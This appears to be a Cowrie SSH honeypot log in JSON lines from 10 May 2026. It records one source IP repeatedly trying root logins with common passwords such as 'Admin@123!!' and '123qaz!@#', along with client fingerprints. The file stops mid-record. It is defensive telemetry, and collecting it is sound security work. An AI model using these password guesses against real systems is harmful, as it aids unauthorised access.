{"eventid":"cowrie.login.failed","username":"root","password":"admincc","message":"login attempt [root/admincc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:25.993695Z","src_ip":"60.165.124.241","session":"d5f3fee0816b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:27.234218Z","src_ip":"60.165.124.241","session":"d5f3fee0816b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52856,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7de9865b8f","protocol":"ssh","message":"New connection: 60.165.124.241:52856 (10.17.0.5:22) [session: 4f7de9865b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:27.466098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:27.470793Z","src_ip":"60.165.124.241","session":"4f7de9865b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:27.710744Z","src_ip":"60.165.124.241","session":"4f7de9865b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sherlock","message":"login attempt [root/sherlock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:28.424452Z","src_ip":"60.165.124.241","session":"4f7de9865b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:29.665604Z","src_ip":"60.165.124.241","session":"4f7de9865b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55418,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40b9bcc3142","protocol":"ssh","message":"New connection: 60.165.124.241:55418 (10.17.0.5:22) [session: e40b9bcc3142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:29.895877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:29.900225Z","src_ip":"60.165.124.241","session":"e40b9bcc3142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:30.135104Z","src_ip":"60.165.124.241","session":"e40b9bcc3142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"meteo","message":"login attempt [root/meteo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:30.853092Z","src_ip":"60.165.124.241","session":"e40b9bcc3142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:32.093229Z","src_ip":"60.165.124.241","session":"e40b9bcc3142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58296,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd8a99417e9","protocol":"ssh","message":"New connection: 60.165.124.241:58296 (10.17.0.5:22) [session: 5fd8a99417e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:32.352868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:32.362069Z","src_ip":"60.165.124.241","session":"5fd8a99417e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:32.610929Z","src_ip":"60.165.124.241","session":"5fd8a99417e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server1","message":"login attempt [root/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:33.381352Z","src_ip":"60.165.124.241","session":"5fd8a99417e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:34.633948Z","src_ip":"60.165.124.241","session":"5fd8a99417e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33170,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee7faaee0764","protocol":"ssh","message":"New connection: 60.165.124.241:33170 (10.17.0.5:22) [session: ee7faaee0764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:34.898971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:34.903896Z","src_ip":"60.165.124.241","session":"ee7faaee0764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:35.169388Z","src_ip":"60.165.124.241","session":"ee7faaee0764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qaz!@#","message":"login attempt [root/123qaz!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:35.967101Z","src_ip":"60.165.124.241","session":"ee7faaee0764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:37.250497Z","src_ip":"60.165.124.241","session":"ee7faaee0764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36200,"dst_ip":"10.17.0.5","dst_port":22,"session":"39a9948981b4","protocol":"ssh","message":"New connection: 60.165.124.241:36200 (10.17.0.5:22) [session: 39a9948981b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:37.505826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:37.513438Z","src_ip":"60.165.124.241","session":"39a9948981b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:37.777581Z","src_ip":"60.165.124.241","session":"39a9948981b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Qq123456","message":"login attempt [root/@Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:38.582405Z","src_ip":"60.165.124.241","session":"39a9948981b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:39.864635Z","src_ip":"60.165.124.241","session":"39a9948981b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39098,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f04251c128c","protocol":"ssh","message":"New connection: 60.165.124.241:39098 (10.17.0.5:22) [session: 7f04251c128c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:40.126657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:40.131667Z","src_ip":"60.165.124.241","session":"7f04251c128c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:40.390297Z","src_ip":"60.165.124.241","session":"7f04251c128c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456AAA","message":"login attempt [root/123456AAA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:41.217961Z","src_ip":"60.165.124.241","session":"7f04251c128c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:43.157984Z","src_ip":"60.165.124.241","session":"7f04251c128c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c989c312ba6","protocol":"ssh","message":"New connection: 60.165.124.241:42858 (10.17.0.5:22) [session: 0c989c312ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:43.389801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:43.398635Z","src_ip":"60.165.124.241","session":"0c989c312ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:43.661682Z","src_ip":"60.165.124.241","session":"0c989c312ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa789789","message":"login attempt [root/Aa789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:47.261161Z","src_ip":"60.165.124.241","session":"0c989c312ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:48.626116Z","src_ip":"60.165.124.241","session":"0c989c312ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49038,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa833a28bb87","protocol":"ssh","message":"New connection: 60.165.124.241:49038 (10.17.0.5:22) [session: fa833a28bb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:48.987126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:48.991952Z","src_ip":"60.165.124.241","session":"fa833a28bb87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:50.359437Z","src_ip":"60.165.124.241","session":"fa833a28bb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!!","message":"login attempt [root/Admin@123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:53.700819Z","src_ip":"60.165.124.241","session":"fa833a28bb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:56.070638Z","src_ip":"60.165.124.241","session":"fa833a28bb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57546,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f699e53504","protocol":"ssh","message":"New connection: 60.165.124.241:57546 (10.17.0.5:22) [session: 42f699e53504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:56.325552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:56.331009Z","src_ip":"60.165.124.241","session":"42f699e53504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds